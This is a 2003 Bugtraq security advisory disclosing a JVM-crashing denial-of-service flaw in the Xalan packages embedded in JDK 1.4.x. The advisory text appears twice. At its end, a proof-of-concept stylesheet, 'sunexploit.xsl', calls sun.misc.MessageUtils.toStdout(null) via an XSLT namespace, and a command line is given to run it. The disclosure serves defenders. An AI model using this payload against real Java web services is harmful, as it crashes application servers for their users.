PACKAGE : Embedded XALAN packages in JDK 1.4.x
SUMMARY : Vulnerable classes callable via user injectable xsl template
THREAT : denial of service
DATE : 2003-09-17 18:09:00
ID : IAC200309-02
VERSIONS : JKD 1.4.x
Author : Marc Schoenefeld, marc (at) beauchamp (dot) de [email concealed]
- ------------------------------------------------------------------------
-
Hi Bugtraq,
ten days ago I submitted a bug to the Sun Bug database about
an Apache XALAN problem that causes a JVM crash when parsing
XML/XSLT data in JDK 1.4.1/1.4.2 on Linux and Windows.
The problem is the possibility that the methods of internal sun.*
classes can be made visible via an xslt namespace and used
in xslt programs. Some of the sun.* classes are native
and therefore are vulnerable to bad parameter passing. A well known
method that is vulnerable in almost all jdk versions
in sun.misc.MessageUtils.toStdout with a passed null object.
These vulnerabilities have been demonstrated by illegalaccess.org
at several blackhat conferences and are well known to Sun since
october 2002.
Till today (one week after vendor contact) I got no qualified response
from SUN about their attitude towards the criticality and moreover the plans
to fix the bug. To speed things up, I now decided to release the
bug to BUGTRAQ.
The technique used become a dangerous thing when such an xml/xslt
combination can be supplied from the user to a web application or java web
service, which then causes a jvm crash and DoSing the whole java process,
which is in worst case the application server or web server.
Hash: SHA1
ILLEGALACCESS.ORG JAVA SECURITY ANNOUNCEMENT
- ------------------------------------------------------------------------
--
PACKAGE : Embedded XALAN packages in JDK 1.4.x
SUMMARY : Vulnerable classes callable via user injectable xsl template
THREAT : denial of service
DATE : 2003-09-17 18:09:00
ID : IAC200309-02
VERSIONS : JKD 1.4.x
Author : Marc Schoenefeld, marc (at) beauchamp (dot) de [email concealed]
- ------------------------------------------------------------------------
-
Hi Bugtraq,
ten days ago I submitted a bug to the Sun Bug database about
an Apache XALAN problem that causes a JVM crash when parsing
XML/XSLT data in JDK 1.4.1/1.4.2 on Linux and Windows.
The problem is the possibility that the methods of internal sun.*
classes can be made visible via an xslt namespace and used
in xslt programs. Some of the sun.* classes are native
and therefore are vulnerable to bad parameter passing. A well known
method that is vulnerable in almost all jdk versions
in sun.misc.MessageUtils.toStdout with a passed null object.
These vulnerabilities have been demonstrated by illegalaccess.org
at several blackhat conferences and are well known to Sun since
october 2002.
Till today (one week after vendor contact) I got no qualified response
from SUN about their attitude towards the criticality and moreover the plans
to fix the bug. To speed things up, I now decided to release the
bug to BUGTRAQ.
The technique used become a dangerous thing when such an xml/xslt
combination can be supplied from the user to a web application or java web
service, which then causes a jvm crash and DoSing the whole java process,
which is in worst case the application server or web server.
Cheers
Marc
Command:
c:\java\1.4.2\00\jre\bin\java org.apache.xalan.xslt.Process -IN a.xml -xsl
sunexploit.xsl
Used Files:
===================a.xml===========================
(a/)
===================a.xml===========================
===========sunexploit.xsl=============================
(!-- XSLT JDK-Exploit by Marc Schoenefeld , marc@at (at) illegalaccess (dot) org [email concealed] --)
(xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sun="sun")
(xsl:template match="/")
(xsl:variable name="tmp"
select="sun:misc.MessageUtils.toStdout(null)"/)
(xsl:variable name="tmp2"
select="sun:misc.MessageUtils.toStdout($tmp)"/)
(xsl:value-of select="$tmp2" /)
(/xsl:template)
(/xsl:stylesheet)
===========sunexploit.xsl=============================
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org
iD8DBQE/aMbGqCaQvrKNUNQRApb9AJ4qHOUXaxvGcGia3SpBVw/yyHCcUACfQJOf
7oLpfjBEYtgTNzm6zu24Ul8=
=nOba
-----END PGP SIGNATURE-----
[ reply ]